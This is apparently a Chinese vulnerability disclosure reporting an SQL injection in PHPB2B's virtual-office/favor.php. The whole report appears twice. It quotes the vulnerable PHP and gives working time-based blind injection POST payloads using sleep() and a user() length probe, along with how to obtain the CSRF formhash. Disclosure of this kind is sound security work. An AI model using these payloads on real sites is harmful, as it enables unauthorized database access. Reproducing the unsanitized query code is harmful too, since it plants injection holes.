### 简要描述:
PHPB2B某处sql注入#6
### 详细说明:
官网下载的最新版
virtual-office/favor.php
1-24行
```
<?php
/**
* [PHPB2B] Copyright (C) 2007-2099, Ualink Inc. All Rights Reserved.
* The contents of this file are subject to the License; you may not use this file except in compliance with the License.
*
* @version $Revision: 2075 $
*/
require("../libraries/common.inc.php");
require("room.share.php");
uses("trade");
$trade = new Trade();
$trade_model = new Trades();
if (isset($_POST['del'])) {
pb_submit_check('id');
$ids = implode(",", $_POST['id']);
$ids = "(".$ids.")";
$sql = "DELETE FROM {$tb_prefix}favorites WHERE id IN ".$ids." AND member_id=".$the_memberid;
// var_dump($sql);
// exit();
$res = $pdb->Execute($sql);
if (!$res) {
flash("action_failed");
}
}
```
$ids = implode(",", $_POST['id']);
$ids = "(".$ids.")";
传入数组的话,就用逗号分隔,又没有单引号保护,直接可以注入。无视gpc。
此处是delete型,可以用延时注入。
演示如下:
注入前添加一个收藏,确保表中存在记录。
先不带任何参数访问。
localhost/phpb2b/virtual-office/favor.php
右键查看源代码。
搜索formhash
[<img src="https://images.seebug.org/upload/201501/06165134fdf9d9ee34c822d129f9d69c9f599f7a.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201501/06165134fdf9d9ee34c822d129f9d69c9f599f7a.png)
这个是为了防止csrf用的,一会我们注入时要一并提交。
然后post提交数据
del=1&id[]=1)||if(1=1,sleep(3),0)||member_id=123%23&formhash=70d974296e193c32
查user()长度
del=1&id[]=1)||if((length(user())>0),sleep(3),0)||member_id=123%23&formhash=70d974296e193c32
延时成功
del=1&id[]=1)||if((length(user())>20),sleep(3),0)||member_id=123%23&formhash=70d974296e193c32
不延时
原理讲明白了。我就不继续演示咯。
### 漏洞证明:
官网下载的最新版
virtual-office/favor.php
1-24行
```
<?php
/**
* [PHPB2B] Copyright (C) 2007-2099, Ualink Inc. All Rights Reserved.
* The contents of this file are subject to the License; you may not use this file except in compliance with the License.
*
* @version $Revision: 2075 $
*/
require("../libraries/common.inc.php");
require("room.share.php");
uses("trade");
$trade = new Trade();
$trade_model = new Trades();
if (isset($_POST['del'])) {
pb_submit_check('id');
$ids = implode(",", $_POST['id']);
$ids = "(".$ids.")";
$sql = "DELETE FROM {$tb_prefix}favorites WHERE id IN ".$ids." AND member_id=".$the_memberid;
// var_dump($sql);
// exit();
$res = $pdb->Execute($sql);
if (!$res) {
flash("action_failed");
}
}
```
$ids = implode(",", $_POST['id']);
$ids = "(".$ids.")";
传入数组的话,就用逗号分隔,又没有单引号保护,直接可以注入。无视gpc。
此处是delete型,可以用延时注入。
演示如下:
注入前添加一个收藏,确保表中存在记录。
先不带任何参数访问。
localhost/phpb2b/virtual-office/favor.php
右键查看源代码。
搜索formhash
[<img src="https://images.seebug.org/upload/201501/06165134fdf9d9ee34c822d129f9d69c9f599f7a.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201501/06165134fdf9d9ee34c822d129f9d69c9f599f7a.png)
这个是为了防止csrf用的,一会我们注入时要一并提交。
然后post提交数据
del=1&id[]=1)||if(1=1,sleep(3),0)||member_id=123%23&formhash=70d974296e193c32
查user()长度
del=1&id[]=1)||if((length(user())>0),sleep(3),0)||member_id=123%23&formhash=70d974296e193c32
延时成功
del=1&id[]=1)||if((length(user())>20),sleep(3),0)||member_id=123%23&formhash=70d974296e193c32
不延时
原理讲明白了。我就不继续演示咯。
暂无评论